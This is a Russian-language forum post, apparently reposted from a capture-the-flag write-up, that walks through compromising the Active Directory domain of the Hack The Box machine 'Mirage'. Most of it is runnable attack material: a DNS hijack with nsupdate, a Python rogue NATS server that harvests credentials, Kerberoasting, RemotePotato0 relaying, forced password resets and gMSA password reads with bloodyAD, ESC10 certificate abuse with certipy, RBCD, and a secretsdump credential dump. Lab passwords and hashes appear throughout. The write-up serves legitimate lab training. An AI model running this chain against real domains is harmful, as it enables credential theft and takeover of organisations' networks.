• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Захватываем домен Active Directory через ESC10 ADCS

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,440
Розыгрыши
0
Реакции
792
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу на примере, как применять технику ESC10 для повышения привилегий в домене Active Directory. Начнем с того, что соберем информацию с сервера NFS и создадим свой сервер NATS для перехвата учеток. В логах NATS найдем учетную запись домена. После эксплуатации разрешений ACL скомпрометируем учетную запись gMSA.
Наша конечная цель — получение прав суперпользователя на машине Mirage с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень задания — сложный.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.78 mirage.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта

Результат работы скрипта (продолжение)
Результат работы скрипта (продолжение)
Сканер нашел 14 открытых портов:

  • 88 — Kerberos;
  • порты 111 и 2049 — служба NFS;
  • 135 — Microsoft RPC;
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 4222 — сервер NATS;
  • 5985 — WinRM.
Обновим запись в файле /etc/hosts.

10.10.11.78 mirage.htb dc01.mirage.htb

Точка входа​

Для начала проверим, какие ресурсы доступны на NFS-сервере.

showmount -e 10.10.11.78
Доступные NFS-ресурсы
Доступные NFS-ресурсы
Монтируем каталог /MirageReports с NFS‑сервера и просматриваем содержимое.

Код:
mkdir /tmp/mirage
sudo mount -t nfs 10.10.11.78:/MirageReports /tmp/mirage

Для просмотра ссылки Войди или Зарегистрируйся
Там всего два PDF-документа. Сохраняем их на локальную машину и изучаем. В первом говорится, что нет DNS-записи nats-svc.mirage.htb, важной для внутренних сервисов. А второй раскрывает, что в домене используется только аутентификация Kerberos.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Сначала обновим содержимое файла /etc/krb5.conf, чтобы включить аутентификацию Kerberos.

Код:
[domain_realm]
    .mirage.htb = MIRAGE.HTB
    mirage.htb = MIRAGE.HTB

[libdefaults]
    default_realm = MIRAGE.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = true
    ticket_lifetime = 24h
    forwardable = true

[realms]
    MIRAGE.HTB = {
        kdc = DC01.MIRAGE.HTB
        admin_server = DC01.MIRAGE.HTB
        default_domain = MIRAGE.HTB
    }

Затем создаем DNS-запись nats-svc.mirage.htb, но чтобы имя резолвилось в адрес нашей локальной машины.

Код:
nsupdate
server 10.10.11.78
zone mirage.htb
update delete nats-svc.mirage.htb A
update add nats-svc.mirage.htb 60 A 10.10.14.53
send

Для просмотра ссылки Войди или Зарегистрируйся
Теперь поднимем NATS-сервер на Python 3 и будем логировать аутентификацию. Рабочий сервер с логированием собирается за два‑три запроса к ChatGPT. Запускаем и ждем, когда к нам кто‑нибудь подключится.

Код:
pip install nats-py
import socket
import threading
import json
from datetime import datetime

class SimpleNATSServer:
    def init(self, host='0.0.0.0', port=4222):
        self.host = host
        self.port = port
        self.server_socket = None
        self.running = False
        self.clients = {}
        self.server_info = {
            "server_id": "PYTHON_SIMPLE_NATS",
            "version": "0.0.1",
            "proto": 1,
            "go": "python",
            "host": host,
            "port": port,
            "auth_required": True
        }

    def start(self):
        self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.server_socket.bind((self.host, self.port))
        self.server_socket.listen(5)

        print(f"[{datetime.now()}] Server started on {self.host}:{self.port}")
        self.running = True

        try:
            while self.running:
                client_socket, addr = self.server_socket.accept()
                client_thread = threading.Thread(
                    target=self.handle_client,
                    args=(client_socket, addr),
                    daemon=True
                )
                client_thread.start()
        except KeyboardInterrupt:
            self.stop()
        except Exception as e:
            print(f"[{datetime.now()}] Server error: {e}")

    def stop(self):
        self.running = False
        if self.server_socket:
            self.server_socket.close()
        print(f"[{datetime.now()}] Server stopped")

    def send_info(self, client_socket):
        info_msg = f"INFO {json.dumps(self.server_info)}\r\n"
        client_socket.send(info_msg.encode('utf-8'))

    def handle_ping(self, client_socket):
        client_socket.send(b"PONG\r\n")

    def handle_connect(self, client_socket, data):
        try:
            connect_data = json.loads(data)
            print(f"[{datetime.now()}] Received data:")
            for key, value in connect_data.items():
                print(f"  {key}: {value}")

            return True
        except json.JSONDecodeError:
            print(f"[{datetime.now()}] Error CONNECT data")
            return False

    def handle_client(self, client_socket, addr):
        client_id = f"{addr[0]}:{addr[1]}"
        self.clients[client_id] = client_socket

        print(f"[{datetime.now()}] New client: {client_id}")

        try:
            self.send_info(client_socket)

            client_socket.settimeout(5.0)

            while True:
                data = client_socket.recv(1024).decode('utf-8').strip()
                if not data:
                    break

                print(f"[{datetime.now()}] Received from {client_id}: {data}")

                if data.startswith("CONNECT "):
                    connect_data = data[8:]
                    self.handle_connect(client_socket, connect_data)
                elif data == "PING":
                    self.handle_ping(client_socket)
                elif data.startswith("PUB "):
                    parts = data.split(' ', 3)
                    if len(parts) >= 3:
                        subject, reply_to, payload = parts[1], parts[2], parts[3] if len(parts) > 3 else ""
                        print(f"Message for {subject}: {payload}")
                elif data == "QUIT":
                    break

        except socket.timeout:
            print(f"[{datetime.now()}] Timeout for {client_id}")
        except Exception as e:
            print(f"[{datetime.now()}] Client {client_id} error: {e}")
        finally:
            client_socket.close()
            if client_id in self.clients:
                del self.clients[client_id]
            print(f"[{datetime.now()}] Client {client_id} disconnect")

if name == 'main':
    server = SimpleNATSServer()
    try:
        server.start()
    except Exception as e:
        server.stop()

Для просмотра ссылки Войди или Зарегистрируйся
Через короткое время в логах появляется запрос CONNECT с учетными данными от NATS.


Точка опоры​

Скачаем Для просмотра ссылки Войди или Зарегистрируйся и протестируем подключение к серверу NATS, заодно проверим валидность учетных данных. Для теста измерим среднее время задержки соединения между клиентом и сервером.

./nats -s nats://10.10.11.78:4222 rtt --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

Для просмотра ссылки Войди или Зарегистрируйся
Получим информацию обо всех потоках сервиса NATS в текущем контексте.

./nats -s nats://10.10.11.78:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!' stream info
Для просмотра ссылки Войди или Зарегистрируйся
Поток auth_logs сохраняет сообщения, которые приходят в тему logs.auth. Посмотрим все сообщения темы logs.auth.

./nats -s nats://10.10.11.78:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!' sub logs.auth --all
Для просмотра ссылки Войди или Зарегистрируйся
В сообщениях есть учетные данные, которые мы проверим в домене с помощью NetExec.

faketime -f '+7h' nxc ldap 10.10.11.78 -u david.jjackson -p 'pN8kQmn6b86!1234@' -k
Для просмотра ссылки Войди или Зарегистрируйся

Продвижение​

Пользователь nathan.aadam​

Получим список пользователей домена — иногда в описаниях учетных записей попадается полезная информация.

faketime -f '+7h' nxc ldap 10.10.11.78 -u david.jjackson -p 'pN8kQmn6b86!1234@' -k --users
Список пользователей
Список пользователей
У нас есть доменная учетная запись, а значит, мы можем собрать информацию о домене с помощью Для просмотра ссылки Войди или Зарегистрируйся.

Справка: BloodHound​

Утилита Для просмотра ссылки Войди или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для разных ОС и на разных языках программирования.
Собирать данные будем с помощью коллектора Для просмотра ссылки Войди или Зарегистрируйся.

Этот коллектор не умеет аутентифицироваться по хешу, зато поддерживает Kerberos. Запросим TGT-билет пользователя и подключимся к службе LDAP.

faketime -f '+7h' getTGT.py 'mirage.htb/david.jjackson:pN8kQmn6b86!1234@'
Для просмотра ссылки Войди или Зарегистрируйся
KRB5CCNAME=david.jjackson.ccache faketime -f "+7h" ./rusthound-ce -d mirage.htb -u david.jjackson -f DC01 -k -z -c All
Логи RustHound
Логи RustHound

Граф от скомпрометированного пользователя ничего нового не показал, однако при отображении всех пользователей, для которых можно провести Kerberoasting, в BloodHound появляется одна учетная запись.

Граф BloodHound
Граф BloodHound
С помощью NetExec проводим атаку Kerberoasting и получаем хеш пароля учетной записи nathan.aadam.

faketime -f '+7h' nxc ldap 10.10.11.78 -u david.jjackson -p 'pN8kQmn6b86!1234@' -k --kerberoasting krb_hash.txt
Хеш пароля учетной записи
Хеш пароля учетной записи
Быстро подбираем пароль с помощью Hashcat.

hashcat krb_hash.txt rockyou.txt
Результат подбора пароля
Результат подбора пароля

Строим граф от пользователя nathan.aadam и видим, что он состоит в группе Remote Management Users.

Граф BloodHound
Граф BloodHound
Получаем TGT-билет и авторизуемся через WinRM.

faketime -f '+7h' getTGT.py 'mirage.htb/nathan.aadam:3edc#EDC3'
Получение TGT-билета
Получение TGT-билета

KRB5CCNAME=nathan.aadam.ccache faketime -f '+7h' evil-winrm -i dc01.mirage.htb -r mirage.htb
Флаг пользователя
Флаг пользователя

Пользователь mark.bbond​

В системе активна учетная запись пользователя mark.bbond. Попробуем использовать Для просмотра ссылки Войди или Зарегистрируйся, чтобы спровоцировать аутентификацию другого пользователя и перехватить его учетные данные. Для этого на своем хосте запускаем редиректор.

sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:dc01.mirage.htb:9999
Когда все готово, триггерим сессию пользователя.

RemotePotato0.exe -m 2 -x 10.10.14.82 -p 9999 -s 1
Результат проведения атаки
Результат проведения атаки
Полученный хеш отправляем на перебор в Hashcat.

hashcat -m 5600 hashes.txt rockyou.txt
Результат подбора пароля
Результат подбора пароля
Так мы получаем еще одну учетную запись пользователя.

Учетная запись Mirage-Service$​

Так как мы скомпрометировали нового пользователя, перестраиваем граф.

Граф BloodHound
Граф BloodHound

BloodHound показывает, что учетная запись mark.bbond входит в группу IT_SUPPORT, члены которой имеют право ForceChangePassword на учетную запись javier.mmarshall. Это право позволяет задать целевой учетной записи любой пароль. Для этого мы будем использовать BloodyAD.

faketime -f '+7h' bloodyAD -d mirage.htb -u mark.bbond -p '1day@atime' --host dc01.mirage.htb --dc-ip 10.10.11.78 -k set password 'JAVIER.MMARSHALL' '!Q@W3e4r'
Для просмотра ссылки Войди или Зарегистрируйся
Учетная запись пользователя javier.mmarshall имеет право ReadGMSAPassword на управляемую учетную запись Mirage-Service$.

Управляемые учетные записи (MSA) — это специальный тип учетных записей Active Directory для безопасного запуска служб, приложений и заданий планировщика. Их ключевая особенность в том, что паролем таких учетных записей полностью управляет Active Directory. Для них автоматически генерируется сложный пароль длиной 240 символов, который меняется каждые 30 дней. Для аутентификации используется только Kerberos, так как интерактивный вход невозможен. Пароль никому не известен и не хранится в локальной системе, поэтому его нельзя извлечь из процесса LSASS с помощью Mimikatz.

Такими учетными записями нужно как‑то управлять, а это значит, что, если у нас есть доступ к такой учетке, мы можем получить хеш ее пароля. Однако у нас не получится это сделать, так как учетная запись javier.mmarshall отключена.

Информация об учетной записи
Информация об учетной записи

Аккаунт можно активировать с помощью BloodyAD.

faketime -f '+7h' bloodyAD -d mirage.htb -u mark.bbond -p '1day@atime' --host dc01.mirage.htb --dc-ip 10.10.11.78 -k set object 'JAVIER.MMARSHALL' userAccountControl -v 512
Для просмотра ссылки Войди или Зарегистрируйся
Но и на этот раз выскакивает ошибка авторизации. Запросим через BloodyAD все атрибуты учетной записи javier.mmarshall и увидим среди них logonHours, который ограничивает время ее действия.

faketime -f '+7h' bloodyAD -d mirage.htb -u mark.bbond -p '1day@atime' --host dc01.mirage.htb --dc-ip 10.10.11.78 -k get object 'JAVIER.MMARSHALL'
Атрибуты учетной записи
Атрибуты учетной записи
Удалим logonHours у javier.mmarshall и попробуем получить хеш пароля Mirage-Service$ из атрибута msDS-ManagedPassword.

faketime -f '+7h' bloodyAD -d mirage.htb -u mark.bbond -p '1day@atime' --host dc01.mirage.htb --dc-ip 10.10.11.78 -k set object 'JAVIER.MMARSHALL' logonHours
Для просмотра ссылки Войди или Зарегистрируйся
faketime -f '+7h' bloodyAD -d mirage.htb -u JAVIER.MMARSHALL -p '!Q@W3e4r' --host dc01.mirage.htb --dc-ip 10.10.11.78 -k get object 'MIRAGE-SERVICE$' --attr msDS-ManagedPassword
Для просмотра ссылки Войди или Зарегистрируйся

Локальное повышение привилегий​

При локальном просмотре конфигурации видно, что параметр CertificateMappingMethods в реестре HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL равен 0x4. Значит, стоит смотреть в сторону техники ESC10 — слабого сопоставления сертификатов.

Значение CertificateMappingMethods
Значение CertificateMappingMethods
При аутентификации по сертификату контроллер домена вытаскивает из него данные о субъекте и маппит их на учетную запись. В этом случае значение поля SAN используется для сопоставления с атрибутом userPrincipalName у пользователя или атрибутом dNSHostName у учетной записи компьютера.

Сначала установим в UPN учетной записи mark.bbond значение dc01$@mirage.htb.

faketime -f '+7h' getTGT.py 'mirage.htb/Mirage-Service$' -hashes :7a77d15fb5a4b7035ef2524b1cc4142f

KRB5CCNAME='Mirage-Service$.ccache' faketime -f "+7h" certipy account update -user 'mark.bbond' -upn 'dc01$@mirage.htb' -u 'mirage-service$@mirage.htb' -k -no-pass -dc-ip 10.10.11.78 -target dc01.mirage.htb
Изменение атрибута UPN
Изменение атрибута UPN
Затем запросим сертификат по шаблону User для пользователя mark.bbond. Поскольку сопоставление идет по UPN, мы получим сертификат dc01$.

faketime -f '+7h' getTGT.py mirage.htb/mark.bbond:'1day@atime'

KRB5CCNAME='mark.bbond.ccache' faketime -f "+7h" certipy req -u '[EMAIL]mark.bbond@mirage.htb[/EMAIL]' -k -no-pass -dc-host dc01.mirage.htb -target 'dc01.mirage.htb' -ca 'mirage-DC01-CA' -template 'User'
Запрос сертификата
Запрос сертификата
Получив сертификат, возвращаем исходное значение UPN.

KRB5CCNAME='Mirage-Service$.ccache' faketime -f "+7h" certipy account update -user 'mark.bbond' -upn '[EMAIL]mark.bbond@mirage.htb[/EMAIL]' -u 'mirage-service$@mirage.htb' -k -no-pass -dc-ip 10.10.11.78 -target dc01.mirage.htb
Изменение атрибута UPN
Изменение атрибута UPN
Теперь с помощью полученного сертификата запускаем ldap-shell. Контекст учетной записи DC01$ позволяет нам вписать в собственный атрибут msDS-AllowedToActOnBehalfOfOtherIdentity SID учетной записи Mirage-Service$, после чего можно использовать технику RBCD для компрометации контроллера домена.

Код:
certipy auth -pfx dc01.pfx -dc-ip 10.10.11.78 -ldap-shell
set_rbcd DC01$ Mirage-Service$

Для просмотра ссылки Войди или Зарегистрируйся
Когда все готово, от имени Mirage-Service$ запрашиваем TGS-билет к DC01$ для службы CIFS.

faketime -f '+7h' getST.py -spn 'cifs/DC01.mirage.htb' -impersonate 'DC01$' -dc-ip 10.10.11.78 'mirage.htb/Mirage-Service$' -hashes :7a77d15fb5a4b7035ef2524b1cc4142f

KRB5CCNAME='DC01$@[EMAIL]cifs_DC01.mirage.htb@MIRAGE.HTB.ccache[/EMAIL]' faketime -f '+7h' secretsdump.py -k -no-pass -dc-ip 10.10.11.78 dc01.mirage.htb
Для просмотра ссылки Войди или Зарегистрируйся
Когда билет у нас, реплицируем все учетные данные домена.

faketime -f '+7h' getTGT.py mirage.htb/administrator -hashes :7be6d4f3c2b9c0e3560f5a29eeb1afb3

KRB5CCNAME=administrator.ccache faketime -f '+7h' evil-winrm -i dc01.mirage.htb -r mirage.htb
Для просмотра ссылки Войди или Зарегистрируйся
С хешем пароля администратора запрашиваем его TGT-билет и получаем сессию WinRM.

Для просмотра ссылки Войди или Зарегистрируйся
Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу